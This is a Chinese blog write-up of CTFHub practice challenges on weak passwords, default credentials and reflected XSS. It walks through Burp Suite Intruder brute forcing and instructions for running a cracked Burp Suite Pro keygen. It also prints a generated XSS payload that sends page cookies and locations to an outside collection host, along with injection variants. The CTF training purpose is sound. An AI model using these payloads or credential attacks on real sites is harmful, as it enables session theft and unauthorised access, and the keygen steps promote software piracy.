# CTF之旅(CTFHub技能树+详细Write up+已完结)(密码口令 +XSS)



迷失的蓝色小恐龙 ● 于 2021-08-30 11:09:06 发布 ● 310 ☆ 收藏 1 分类专栏: CTF 文章标签: web 安全漏洞 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/weixin\_51563603/article/details/119989977</u> 版权



CTF 专栏收录该内容

9 篇文章 1 订阅 订阅专栏

# 目录

CTFHub题目WriteUP地址汇总

密码口令

弱口令

默认口令

XSS

反射型

# CTFHub题目WriteUP地址汇总

本来不想分段的,但是后来发现要写的东西太多了,就写了个首页,汇总一下地址,大家见谅

首页地址

# 密码口令

# 弱口令

需要用到的软件: Burp Suite(这边是引用大佬的教程)

如果按照上面的教程点击run打不开的话,我这边还有一个方法: 切换到burp suite对应的目录,在上方文件路径处输入cmd回车:

> 此电脑	> 文档 > program > CTF > 相关软件	↓ > Burp_Suite_Pro_v1.7.37	'_Loader_Keygen		
	~ 名称	修改日期	类型	大小	
	🗎 bat.txt	2021-08-04 21:15	文本文档	1 KB	
	📄 burp-loader-keygen.jar	2018-01-25 17:01	Executable Jar File	64 KB	
7	📄 burpsuite_pro_v1.7.37.jar	2018-08-13 11:25	Executable Jar File	27,554 KB	
R	🔄 cacert.der	2021-08-04 21:56	安全证书	1 KB	
*	ReadMe.txt	2018-02-03 11:07	文本文档	1 KB	

CSDN @迷失的蓝色小恐龙

输入下面的命令:

java -jar burp-loader-keygen.jar (需要java环境,不然会弹出'java'不是命令警告)

🕌 Burp Suite Pro 1.7.	.31 Loader & Keygen - By surferxyz	_		×				
	Burp Suite Pro 1.7.31 Loader & Keygen - By surferxyz							
	1. Run Burp Suite Pro with the loader specified in the bootclasspath							
Instructions:	2. Register using manual activation							
	3. On subsequent runs you must execute burpsuite with the loader otherwise it will become	e unregi	stered					
Loader Command:	java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v1.7.37.jar			Run				
License Text:	licensed to surferxyz							
License:	VBlvOlXRKaSHxZ+3itJox*HRIYXicdppD7F3/1/fe7qvYAn2zhOuJq9gCfbOHS4m5SktfkFINtmGAJtyHRsRXR5L*eYzaHixqY151gzHhd dl60V1700fgIphqyFJ27XVyTFKzvjkeYudc5orGwuaxGX/Pcfhjorpj8GF7GEvKrNR6C5n6jf9lDczygo7HZfMEFeEBDXVeC2VfmdR2OVb License: ZL38UXeTwPdJM0C3Htwj2iGbTBgrn8FgpD+RQuiBhxb731ISwXRu8Ci+NurNXXOu0HJq0aId4ebC6ZRDVu81CuN/0Grm3I+dU3GjEQyRy1 bY9a7JT43Eyks48NLTVrQG7+XIDB14g							
Activation Request:								
Activation Response:	CSDN @迷乡	卡的蓝	色小沢	恐龙				

便可以打开注册机

再打开一个cmd窗口,输入下面的命令后回车:

java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite\_pro\_v1.7.37.jar 就可以正常开启burp suite







那接下来我们来看题目吧

# CTFHub WriteUp 管理后台

admin		
•••••		
	登录	

□ 下次自动登录

# user or password is wrong

CSDN @迷失的蓝色小恐龙

这边根据题目提示需要进行密码爆破

先打开计算机的代理设置,并设置端口号(我这里设置了8081,不要设置8080即可)

设置			-	×
命 主页	代理			
直找设置の	自动设置代理			
网络和 Internet	将代理服务器用于以太网或 Wi-Fi 连接。这些设置不适用于 VPN 连接。			
<b>伊</b> 状态	自动检测设置 ● 关			
// WLAN	使用设置脚本			
<b>記</b> 以太网	<ul> <li>美</li> <li>脚本地址</li> </ul>			
♀ 拨号				
% VPN	保存	<b>N</b>		
<b>驴</b> 飞行模式	手动设置代理			
(中) 移动热点	将代理服务器用于以太网或 Wi-Fi 连接。这些设置不适用于 VPN 连接。			
⊕ 代理	使用 <b>代理服</b> 务器 开 地址 端口			
	127.0.0.1			



# 打开burp suite,按照下面的方法找到add

Burp I	ntruder Re	epeater V	Vindow H	elp									
Targe	Proxy	Spider	Scanne	r Intrude	r Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	]
Interc	ept   HTT	P history	WebSo	ckets hist	ory Options				•	•	•		<u>.</u>
	·				<u> </u>		_						1
?	Proxy Li	isteners											
*	Burp Prov	ky uses lis	steners to	receive in	coming HTTP	requests from	your browse	er. You will r	need to conf	igure your browser	to use one of t	he listene	ers as its proxy server.
$\rightarrow$	Add	Run	ning Int	terface	Invisibl	e Redirect	I.	Certifica	te				
	Edit	Add a ne	w listener	7.0.0.1:80	080			Per-host	t				
	Remov	e											
	Each inst installatio	allation of	Burp gen	erates its	own CA certifi	ate that Prox	ky listeners o	can use whe	n negotiatin	g SSL connections	s. You can impo	ort or exp	ort this certificate for use in other tools or another
		in or Durp.											
	Import	/ export C	A certifica	te Re	egenerate CA	certificate							
													7
?	Intercep	ot Client	Reques	ts									128
	Use these	e settings	to control	which req	uests are stal	ed for viewing	and editing	in the Interc	ept tab.				
	Interc	ept reques	sts based	on the foll	owina rules: ۸	laster intercei	otion is turne	ed off					
	- Add		bled O	nerator	Match type	Relation	shin	Conditio	n				
			V	perator	File extension	Does no	t match	(^qif\$ ^jp	 q\$ ^pnq\$ ^cs	s\$ ^js\$ ^ico\$)			
	Edit		0	r	Request	Contains	s parameters	3					
	Remov	e	0	r .	HTTP method	Does no	t match	(get pos	t)	•			
			_ Ai	nd	URL	ls in targ	get scope						
	Up												
	Down												
	Auton	natically fi	x missina	or superfl	uous new lines	at end of rec	uest						
	Auton	natically u	pdate Cor	ntent-Leng	th header whe	n the request	is edited						
	Intercer	nt Serve	r Respo	nses									
	Intercep	JE SEIVE	i itespo	utist				a in the late					
	Use these	e settings	to control	which res	porises are st	alled for viewir	ng and editin	ig in the inte	псерттар.				
	Interc	ept respor	ises base	d on the f	ollowing rules:	Master interc	eption is tun	ned off					
	Add	Ena	bled O	perator	Match type	Relation	ship	Conditio	n				CSDN @迷失的蓝色小恐龙,
			-										

#### 添加刚刚的端口号

Binding Request handling Certificate
These settings control how Burp binds the proxy listener.
Bind to part: 8091
Bind to address: 💿 Loopback only
<ul> <li>All interfaces</li> </ul>
◯ Specific address: 127.0.0.1

CSDN @迷笑的蓝色99恋选

# 确保这里的√是勾上的(这是监听的端口号)

Burp	Intruder	Repeat	er Win	dow Hel	р										
Targ	et Pro	xy Sp	ider S	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts		
Inter	rcept H	ITTP his	tory V	VebSock	ets history	Options									
?	Proxy Burp F	<b>y Lister</b> Proxy us	i <b>ers</b> es lister	ners to re	ceive inco	ming HTTP re	quests from	your browse	er. You will r	need to conf	igure your browser	to use one of t	ne listene	rs as its proxy server.	• (
	A	dd	Runnin	g Inter	face	Invisible	Redirect		Certificat	te					
	E	dit		127.	0.0.1:8080	)			Per-host	:					
	Rer	nove		127.	0.0.1:8081				Per-host		•				
	Each i install	installatio ation of E ort / exp	on of Bu Burp. ort CA c	irp genera	ates its ow Rege	n CA certific enerate CA c	ate that Prox ertificate	y listeners c	an use whe	n negotiatin	g SSL connection	s. You can impo	ort or expo	ort this certificate for use in other tools or another	
?	Inter Use th	<b>cept Cl</b> i nese sett ercept re	i <b>ent Re</b> ings to equests	equests control w based or	hich reque hich follow	sts are stalle ing rules: <i>M</i> a	d for viewing Ister intercep	and editing otion is turne	in the Interc d off	ept tab.					
	A	dd	Enable	d Ope	rator Ma	atch type	Relations	ship	Conditio	n					L
	E	dit	•		Fil	e extension	Does not	t match	(^gif\$ ^jp	g\$ ^png\$ ^c	ss\$ ^js\$ ^ico\$)				L
				Or	Re	quest	Contains	parameters	(getIpost	9					L
	Ren	nove		And	UF		Is in targ	et scope	(getiposi	•)	•				L
		lp wn													
	🗌 Αι 🗹 Αι	itomatica itomatica	ally fix n ally upda	nissing o ate Conte	r superfluo ent-Length	us new lines header when	at end of req the request	uest is edited							
?	Inter	cept Se	rver R	lespons	ses										
Ö	Use th	nese sett	ings to	control w	hich respo	nses are sta	led for viewin	ng and editin	g in the Inte	rcept tab.					
	🔲 Int	ercept re	sponse	s based	on the follo	wing rules: /	laster interc	eption is tun	ned off						
	A	dd	Enable	d Ope	rator Ma	atch type	Relations	ship	Conditio	n				CSDN @迷失的蓝色小恐;	这,

# 回到intercept

Burp I	ntruder Rep	eater Windo	w Help														
Targe	Proxy	Spider Sc	anner Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts						
Interc	ept HTTP	history W	ebSockets history	Options													
?	Proxy Lis Burp Proxy	t <mark>eners</mark> uses listene	rs to receive inco	ming HTTP red	quests from	your brows	er. You will r	need to conf	igure your browser	to use one of t	he listene	ers as	its prox	y server.			•
	Add	Running	Interface	Invisible	Redirect		Certifica	te									
- ·			127.0.0.1:8080	)			Per-host	t									
	Edit		127.0.0.1:8081	l			Per-host	t									
	Remove	)															

								1
	Each installat installation of	tion of Burp Burp.	generates it:	s own CA certificat	e that Proxy listeners car	n use when negotiating SSL connect	ions. You can import or export this certificate for use in other tools or another	
	Import / ex	port CA cert	ificate	Regenerate CA cer	tificate			/
?	Intercept C	lient Requ	uests					
	Use these se	ttings to cor	trol which re	equests are stalled	for viewing and editing in	the Intercept tab.		
•	Intercent (	requests ha	ed on the fr	Mowing rules: Mas	ter intercention is turned	off		
	- intercept			nowing rules. mas				
	Add	Enabled	Operator	Match type	Relationship	Condition		
	Edit		0	File extension	Does not match	(^gif\$ ^jpg\$ ^png\$ ^css\$ ^js\$ ^ico\$)		
			Or	Request	Contains parameters	(		
	Remove		Or	HIIP method	Does not match	(get post)	•	
	Lin		Anu	URL	is in target scope			
	Down							
		ally for mine		fluous new lines at	and of convert			
	Automatic	cally fix miss	ang or supe	muous new lines at	end of request			
		cally update	Content-Ler	igtn neader when tr	ie request is edited			
?	Intercept S	erver Res	ponses					
\$	Use these se	ttings to cor	ntrol which re	esponses are stalle	d for viewing and editing	in the Intercept tab.		
	Intercept	responses b	ased on the	following rules: Ma	ster interception is turne	d off		
	Add	Enabled	Operator	Match type	Relationship	Condition	CSDN @迷失的蓝色小恐龙	

### 把intercept打开:

В	urp Intr	ruder Re	epeater V	Vindow He	lp												
	Farget	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	s User opt	tions Ale	erts			
ſ	ntercep	t HTTI	P history	WebSocl	kets history	Options											
	Forw	vard		Drop	Intercep	t is on	Action								Comment t	his item	?
	Raw F	Params	Header	s Hex													
		aramo	rioudon			$ \setminus $											
							$\backslash$										
							$\mathbf{X}$										I
								<hr/>									
								$\mathbf{i}$									I
																	I.
									N								L
																	I
																	I
																	I
																	I
																	I
																	I
																	I
																	L
																	I
																	I
																	L
																	I
																	I
																	L
																	×
	?	+	>	Type a sea	arch term										 CSDN @i	影失的蓝色	Āes
_																	

<b>CTFHub WriteUp</b>
管理后台

admin

•••••

登录

□ 下次自动登录

# user or password is wrong

CSDN @迷失的蓝色小恐龙

就会在burp suite下面看到我们刚刚输入的用户名和密码:

Burp Intruder	Repeater V	Vindow Hel	р									
Target Prox	y Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	
Intercept H	ITP history	WebSock	cets history	Options								
M Request t	o http://cha	lenge-475c4	460993950	67c.sandbo	x.ctfhub.com:	10800 [47.9	98.148.7]					
Forward		Drop	Intercep	ot is on	Action							Comment this item
Raw Param	Header	Her										
POST / HTTP/1	1	3 TICX										
Host: challenge-	475c460993	95067c.sar	ndbox.ctfhu	b.com:1080	00							1
Content-Length:	37											
Ungrade-Insecu	nax-age≕u e-Requests	1										
Origin: http://cha	allenge-475d	460993950	57c.sandbo	x.ctfhub.cc	m:10800							
Content-Type: a	pplication/x-	www-form-u	rlencoded									
User-Agent: Mo:	zilla/5.0 (Wi	ndows NT 1	0.0;Win64 Lanaliaatia	; x64) Appl p/vml:a=0.9	eWebKit/537.3 Jimogo/ovifing	36 (KHTML,	like Gecko)	) Chrome/92.	0.4515.159 Safari	/537.36 abanga:umb2:gr	-0.9	
Referer: http://cl	nallenge-475	c460993950	067 c. sandb	ox.ctfhub.c	om:10800/	age/webp,ii	nage/aprig,	7 ,q=0.0,app	ncation/signed-ex	change, v=b0, q=	-0.5	
Accept-Encodin	g:gzip,defl	ate										
Accept-Languag	e: zh-CN,zh	;q=0.9,en-U	JS;q=0.8,ei	n;q=0.7	C2 46 400 475	1101001-0						
Connection: clos	cinctid=17b1	12438400-0	131190046a	aba1-43433	63-11a400-17b	1124384651	0					<b>X</b> ()
Connoction. Clo												<u> </u>
name=admin&p	assword=aa	aaaaaa&ref	erer=									
		$\sim$										
	$\mathbf{X}$											
												1
												,
? <	+ >	Type a sea	rch term									CSDN @迷失的蓝色小母城。

Burp Suite Professional v1.7.37 - Temporary Project - licensed to surfer	kyz				_	
Burp Intruder Repeater Window Help	Y Y	~		× >>		
Target         Proxy         Spider         Scanner         Intruder         Repeater         Sequencer	Decoder Comparer	Extender F	Project options	User options Alerts		
Intercept HTTP history WebSockets history Options						
Request to http://challenge-475c46099395067c.sandbox.ctfhub.com;10	0800 [47.98.148.7]					
					0	
Forward Drop Intercept is on Action					Comment this item	<b>i</b> (
Raw Params Headers Hex						
POST / HTTP/1.1						
Host: challenge-475c46099395067c.sandbox.ctfhub.com:10800						
Content-Length: 36						
Cache-Control: max-age=U						
Origin: http://challenge-475c46099395067c sandbox ctfbub com:10800						
Content-Type: application/x-www-form-urlencoded						
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36	6 (KHTML, like Gecko) C	hrome/92.0.4	4515.159 Safari/	537.36		
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,ima	ige/webp,image/apng,*/*;	q=0.8,applic	ation/signed-exe	change;v=b3;q=0.9		
Referer: http://challenge-475c46099395067c.sandbox.ctfhub.com:10800/						
Accept-Encoding: gzip, deflate						
Accept-Language: zn-CN,zn;q=0.9;en-OS;q=0.6;en;q=0.7						
Connection: close	Send to Spider				κ.	
	Do an active scan					
name=hahaha&password=hahaha&referer=	Send to Intruder	Ctrl	+1			
	Send to Repeater	Ctrl	I+R			
	Send to Sequencer					
	Send to Comparer					
	Send to Decoder					
	Request in browser		•			
	Engagement tools		•			
	Change request met	hod				
	Change body encodi	ing				
	Copy URL					
	Copy as curl comma	and				
	Copy to file					
	Paste from file					
	Save item					
	Don't intercept reque	sts	•			
	Do intercept		•			
	Convert selection		•			
	URL-encode as you	type				
	Cut	Ctrl	+X			
2 C + N Tune a search farm	Сору	Ctrl	+C		CSDN @ 器生的游	A Muther
Type a search term	<b>D</b>	011			CSDIN ®还天的監	- A markies

选择psositions,把除了password后面其他的'§'符号全部删除(只需要把符号删除,中间的内容要保留)(这个符号中间的地方 代表着要爆破的地方)

Burp Intruder Repeat	er Window He	lp													
Target Proxy Sp	ider Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts					
4 ×															
Target Positions	Payloads Op	tions													
Configure the details.	itions positions where	payloads w	ill be inserte	ed into the bas	se request.	The attack ty	ype determir	nes the way in whi	ch payloads are	assigned t	o payload p	oositions -	see help for	full	Start attack
Attack type:	Sniper													•	
POST / HTTP Host: challeng Cache-Contro Upgrade-Insec Origin: http://d Content-Type: User-Agent: N Accept: text/f Referer: http:// Accept-Langu Cookie: UM_c Connection: c	1.1 e-475c4609939 h: 36 : max-age=0 ure-Requests: 1 hallenge-475c4 application/x-w lozilla/5.0 (Wind tml, application/ challenge-475c2 ing: gzip, deflat age: zh-CN,zh;c istinctid=§17b1 ose a§&password=§	5067 c. sanc 5099395067 ww-form-url lows NT 10 khtml+xml, 4609939506 a =0.9,en-US 124384b0-0	ibox.ctfhub. 7c.sandbox. encoded .0; Win64; > application/; 57c.sandbox 5; q=0.8,en; c 31190c46aa referer=§§	com:10800 ctfhub.com:10 (64) AppleWel (ml;q=0.9,ima (.ctfhub.com:1 (=0.7 6a1-4343363-	)800 bKit/537.36 gg/avif,imag 10800/ 1fa400-17b1	(KHTML, lik e/webp,ima 124384c5b§	e Gecko) Cl ge/apng,*/*,	1rome/92.0.4515.1 1=0.8,application/:	59 Safari/537.30 signed-exchang	6 e;v=b3;q=0	9		No.		Add § Clear § Auto § Refresh

	、 这个保留, 詳	其他的全部删除	×	
?     +     >     Type       4 payload positions	a search term		0 matches Length: 844 CSDN @迷失的	Clear 蓝色小恐龙

依次点击,添加要爆破的字典(这里因为它说是简单密码,所以我用admin作为用户名,密码我们在burp suite自带的password 里面爆破)然后点击右上角Start attckt!

Burp I	ntruder R	epeater V	Vindow He	p									
Targe	t Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	
<b>4</b> ×													
Targe	t Positio	ons Pay	loads Op	tions									
?	Payload Yeu can and each Payload s Payload t	define one payload t set: 1 ype: Sir	or more pa ype can be nple list	yload sets customize	. The numbe d in different Paylo: Reque	r of payload s ways. ad count: 0 ist count: 0	ets depend	s on the atta	ick type defi	ned in the Positior	ns tab. Various j	payload ty	ypes are available for each payload set,
?	Payload This payl	Options	s [Simple ets you con	<b>list]</b> figure a sir	nple list of s	trings that are	used as pa	ayloads.					
	Paste Load Remov Clear Add	e Ente	r a new iter	n									
?	Add fror Add fror Fuzzing Fuzzing Usernar Passwo Short w a-z A-Z Remov Up Down	n list - quick - full nes ords				ch p	bayload befo	, re it is used					
	Daulaad	Encodi											CSDN @迷失的蓝色小恐龙、

#### 会跳出来一个窗口,等待它爆破完后点击length按照长度排序,可以找到和其他都不同长度的选项

🚯 Intrude	r attack 2						 _	×
Attack Sa	ve Columns							
Results	Target Positions Pa	ayloads Option:	s					
Filter: Show	wing all items							?
Request	Payload	Status	Error	Timeout	Length	Comment		
2592	password	200			2653			
31415	password	200			2653			
31701	password	200			2653			

0				20	0 (		2646			
3	!@#\$%			20	0 (		2646			
4	!@#\$%	^		20	0 (		2646			
5	!@#\$%	^&		20	0		2646			
6	!@#\$%	^&*		20	0 1		2646			
7	Iroot			20	0 (		2646			
8	\$SRV			20	0 (		2646			-
Ľ	φοιτν			20	о (		2040			Y
Request	Respo	nse								
Raw	 leaders	Hex	HTML	Render						
HIIP/1.12	00 0K	10 2 2								-
Doto: Mon	30 Aug 1	19.3.2 0024 0	1.57.26.0	MT						
Contont-Tw	50 Aug 2 no: toxt/b	tral: cl	1.57.20 G hareot=11	71VI I TE-8						
Content-Ty	pe. lext/r path: 232	แทท, บ ด	naiset-0	11-0						
Connection	ngth. 202 Class	0								
X-Powered-	. Close .Rv: PHP	7731/	1							
Varv: Acce	nt-Encod	ina. 1-	Ŧ							
Access-Co	ntrol-Allo	w-Oria	in *							
Access-Co	ntrol-Allo	w-Hear	ders: X-Ri	equested-\	Nith					
Access-Co	ntrol-Allo	w-Meth	hods: *	oquoocou (						
			iouo.							
DOCTYP</td <td>PE html&gt;</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	PE html>									
<html></html>										
<head></head>										v
? <	+	>	Type a	search ter	m					0 matches
Rinisheo								CSDN @	砂迷失的蓝(	色小恐龙

点进去再点击response拉到最底下即可看到flag:

🚯 Result 317	'01   Intruder	attack 2		_	
Payload:	password			ſ	<b>D</b> :
Status:	200			l	Previous
Length:	2653			ĺ	Next
Timer:	9		/	l	
		/			Action
				· · · · · · · · · · · · · · · · · · ·	
Request F	Response				
Raw Head	lers Hex	HTML	Render		
1 <in< td=""><td>out type="hid</td><td>lden" nan</td><td>ne="refere</td><td>r" value="" /&gt;</td><td>A</td></in<>	out type="hid	lden" nan	ne="refere	r" value="" />	A
<la< td=""><td>oel <mark>for="reme</mark></td><td>mber"&gt;&lt;</td><td>input type</td><td>="checkbox" name="remember" class="checkbox" value="1"</td><td></td></la<>	oel <mark>for="reme</mark>	mber"><	input type	="checkbox" name="remember" class="checkbox" value="1"	
id="remember"	/> 下次自动	)登录 /a	abel>		
ctfh	ub{c912975	90590e8	3f1508775	ic}	
					Ļ
? <	+ >	Туре а	search tei	m CSDN @迷失的I	蓝色小瓶bb

# 默认口令

#### (接下来我会记录一下我的错误思路,想看正确答案的童鞋请跳过此P,谢谢!)

打开题目看到如下界面的我,还是一如既往的想着用burp suite来爆破,但是我看到了验证码,于是犯了难。。



要知道burp suite是很难爆破带有验证码的东西的。。但我还是想试试。。因为毕竟服务器都是通过用户传去的数据来分析你有 没有成功登录的嘛,管它是啥验证码,只要我能抓包分析,就没有我解决不了的问题。。(结果却显示我很幼稚)

这边我判断服务器是根据用户传来的两个值: PHPSESSID和UM\_distinctid的其中之一来判断用户传来的验证码是否正确,一个 PHPSESSID或UM\_distinctid对应一个验证码,只要我不改变这两个值进行爆破,我是不是就成功了呢?具体操作看下图: (我 把除了密码之外的地方都把'§'符号删除了,具体操作请看上面一题,有详细讲解)

Burp Intruder Repeater Window Help	
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts	
1 × 2 × 3 ×	
Target Positions Payloads Options	
Payload Positions	Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payl	oad positions - see help for full
details.	
Attack type: Sniper	•
POST //ogin.php?mod=login HTTP/I.1	Add §
Content-I entity 54	Close S
Cache-Control: max-age=0	Clear 3
Upgrade-Insecure-Requests: 1	Auto §
Origin: http://challenge-11d362be3b46e7f0.sandbox.ctfhub.com:10800	
Content-Type: application/x-www-form-urlencoded	Refresh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9	
Referer: http://challenge-11d362be3b46e7f0.sandbox.ctfhub.com:10800/	
Accept-Encoding: gzip, deflate	
Accept-Language: zh-UN;zh;q=U.9;eh-US;q=U.9;eh;q=U.7 Control UM, distinction 21400-012400-012400-012400-01241242262 46400 1754124294-555 DHDRESS(D=05-240-64246-4726-00-0-0-0-2726-0-021	
Courte: OW_distillation=1/b112430400-03190040480814343303-118400-1/b1124304050, PTP-SES3ID=00200903484700038009097016831	
user id=admin&user pass=\$aaaa\$&captcha=YFD1&captcha_ctime=	

? < + > Type a search term	0 matches Clear
1 payload position	Length: 921 CSDN @迷失的蓝色小恐龙

结果却让我很失望,除了第一个,其他长度425的全部显示为验证码错误。。。(这边我想分析一下,就是我查看网页源代码时 发现了一个code.php文件,我刷新一下它它就给我新显示一个验证码的图片,我想可能是它在额外给服务器发送验证码图片的 消息,但是我为什么接受不到。。我也不知道,欢迎大佬在评论区留言。。)

Attack Sa	ve Columns	3										
Results	Target	ositions	Payloads	Options								
Filter: Show	wing all item	s										?
Request	Position	Payload			Status	Error	Timeout	Length	Comment			
87	1	BASE			200			425				-
88	1	BATCH			200			425				$\bigcirc$
89	1	BC4J			200			425				
90	1	BIGO			200			425				
91	1	BIOS			200			425				
92	Parel 1	DIO ODA		-	000			105	 		1 ~	
93	Kesult	90   Intru	der attack	1						- L		
94	Position:	1									Irouiouo	
95	Payload:	BIGC	)								revious	
96	Status:	200									Next	V
Poqueet	Length:	425										
Request	Timer:	40									Action	
Raw Pa	a	~								_		
POST /login	Request	Respo	nse									
Host: challer	Raw	leaders	Hex									
Content-Len		proetv/1_1	022									-
Cache-Contr	Date: Mon	30 Aug 2	021 16:01	50 GMT							-	
Opgrade-Ins	Content-Tv	pe: text/h	tml: chars	et=UTF-8								
Content-Typ	Content-Le	ngth: 13										
User-Agent	Connection	: close										36
Accept:	X-Powered-	By: PHP/	7.3.14									
text/html,ap	Expires: Th	nu, 19 Nov	1981 08:5	52:00 GMT								q=0.
9	Cache-Con	trol: no-st	ore, no-ca	che, must-i	revalidate							
Referer: http	Pragma: no	o-cache	. Orinina *									
Accept-Enco	Access-Co	ntrol-Allov	v-Origin: v-Hoadore	V-Doquosi	od_With							
Accept-Lang	Access-Co	ntrol-Allov	v-Methods	. *	.cu-vvitti							
Connection:			. memoria									
Connection:	captcha e	rror										•
? <											Ŧ	) matches
5582 of 935	8 2 <	+	> Ty	pe a searc	h term				 CSDI	1 @迷约	电的蓝色	小恐龙

于是我没啥办法,只能去网上找了别人的WP。。

既然是默认口令,就是公司内部一些人员为了方便而设计的默认用户名和密码,那么我只要用这些直接登录就可以了。 这边分享一下一些网站泄露出来的默认口令:网址 我将这个用户名和密码输入后,成功得到了flag:

亿 <mark>邮邮</mark> 件网关	eyouuser		eyou_admin
	eyougw		admin@(eyou)
	admin		+-ccccc
	admin	CSDN @	迷失的虚色机恐龙



Hello CTFHub eyougw admin, ctfhub{120f75f39936d80ee8e34838}

本题结束。

# XSS

# 反射型

建议没接触过XSS的童鞋们(比如我自己)先了解下XSS大致是啥以及基本思路: 网址

本题需要用到的工具: 网址(这个是一个免费的XSS平台,能帮你自动生成XSS攻击代码)

自己试一下就可以轻松得到结论:在第一个框内输入什么东西,在第二个红框内就会显示什么,这就是一个典型的反射型XSS

	XSS Reflex	
What's your name CTFHub		Submit
	Hello, '">	
Send URL to Bot		Send
		CSDN @迷生的蓝色小恐龙

再来看看它能不能输入js: 在第一个框内输入 <script>alert(1)</script> 可以弹出! 说明并没有进行过滤js代码

e-bb086960db682bb7.sandbox.ctfhub.com:10	080 显示
1	
	确定

分析:

根据输入框前面的提示可得,Send URL to Bot 可能是向服务器发送get请求,从而获得服务器的一些信息。

好分析完后我们就去利用前面的那个XSS网站去生成我们的XSS攻击代码 注册完以后应该是这样一个页面:(点击我的项目后面的创建)

我的项目	创建	我的项目			1	创建项目
		项目名称	项目描述	内容数	创建时间	操作
我的模块	创建	$\backslash$				
		$\mathbf{X}$				
公共模块						
jspgencms_getshell						
定位						
劫持搜索引擎						
表单劫持						
劫持百度搜索引擎						
键盘记录3				CS	DN @迷失的	]蓝色小恐;

# XSS CTF ✓ 默认模块 折叠 需要配置的参数 ● 无keepsession ○ keepsession 参数: location, toplocation, cookie, opener 代码: (function(){(new Image()).src='https://xsshs.cn/xss.php?do=api&id={projectId}&location='+escape ((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape ((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function()) {try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (w indow.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

```
if('{set.keepsession}'==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id
if({set.Reepsession]--1/(xccp int integration)+'&cookie='+escape(document.cookie)};
={projectId}&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
CSDN @迷失的蓝色小恐龙
```

#### 拉到最下面点击下一步:

dedecms xss

emlog CSRF

指定页面源码读取

-Jsonp社工模块-

获取内网ip

JetBrains远程命令执行

JetBrains ide任意文件读取

键盘记录

自动获取内网ip打内网redis

xss+csrf+redis自动化入侵内网

CSRF操作Redis写文件

获取页面源码

获取浏览器记住的明文密码

HTML5截屏

- phpinfo httponly 展开
- □ getHtmlText 展开
- □ 帝国cms加用户 展开
- 🗆 dede 展开
- □ apache httponly new 展开
- □ WordPress 4.2 展开
- □ 内网ip获得 展开
- □ 键盘记录2 展开
- 🗆 xss.js 0.1 展开
- □ QQ skey获取 展开
- CSRF 展开
- □ 读取COOKIE 展开
- □ jspgencms\_getshell 展开

# ☑ 自定义代码

步 下-取消

将生成的这一行代码拼接到原题目网址后面的?name=后面再输入到第二个框内,点击send:

#### 项目代码

# 项目名称: XSS CTF

#### 项目代码:

(function(){(new Image()).src='https://xsshs.cn/xss.php?do=api&id=sWSf&location='+escape((function(){try{return urn document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location on.href}catch(e){return ''}))())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener er.location.href:''}catch(e){return ''}))());)(); if(''==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id=sWSf&url='+escape(document.location));}));}

it(''==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id=sWSt&url='+escape(document.l
ocation)+'&cookie='+escape(document.cookie)};

#### 如何使用:

将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 观看XSS效果。

</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/sWSf></sCrIpT>

或者

```
</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElemen
t%28%22script%22%29%3Bb.src%3D%22%2F%2Fxsshs.cn%2FsWSf%22%2BMath.random%28%29%3B%28document.getElementsByTag
Name%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
```

再或者以你任何想要的方式插入

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>

```
↓↓↓! ~极限代码~! (可以不加最后的>回收符号, 下面代码已测试成功)↓↓↓
```

<sCRiPt/SrC=//xsshs.cn/sWSf>

#### ↓↓↓图片探测↓↓↓

```
图片插件: //xsshs.cn/sWSf/xss.jpg【必须勾选默认模块】
```

<img sRC=//xsshs.cn/sWSf/xss.jpg>

完成

CSDN @迷失的蓝色小恐龙

		XSS Reflex	
		Successfully	
What's your name	CTFHub		Submit
		Hello, '">	

CSDN @迷失的蓝色小恐龙

#### 成功后回到刚刚的XSS网址点击项目内容查看记录:

项目代码

# 项目名称: XSS CTF

项目代码:

if(''==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id=sWSf&url='+escape(document.l
ocation)+'&cookie='+escape(document.cookie)};

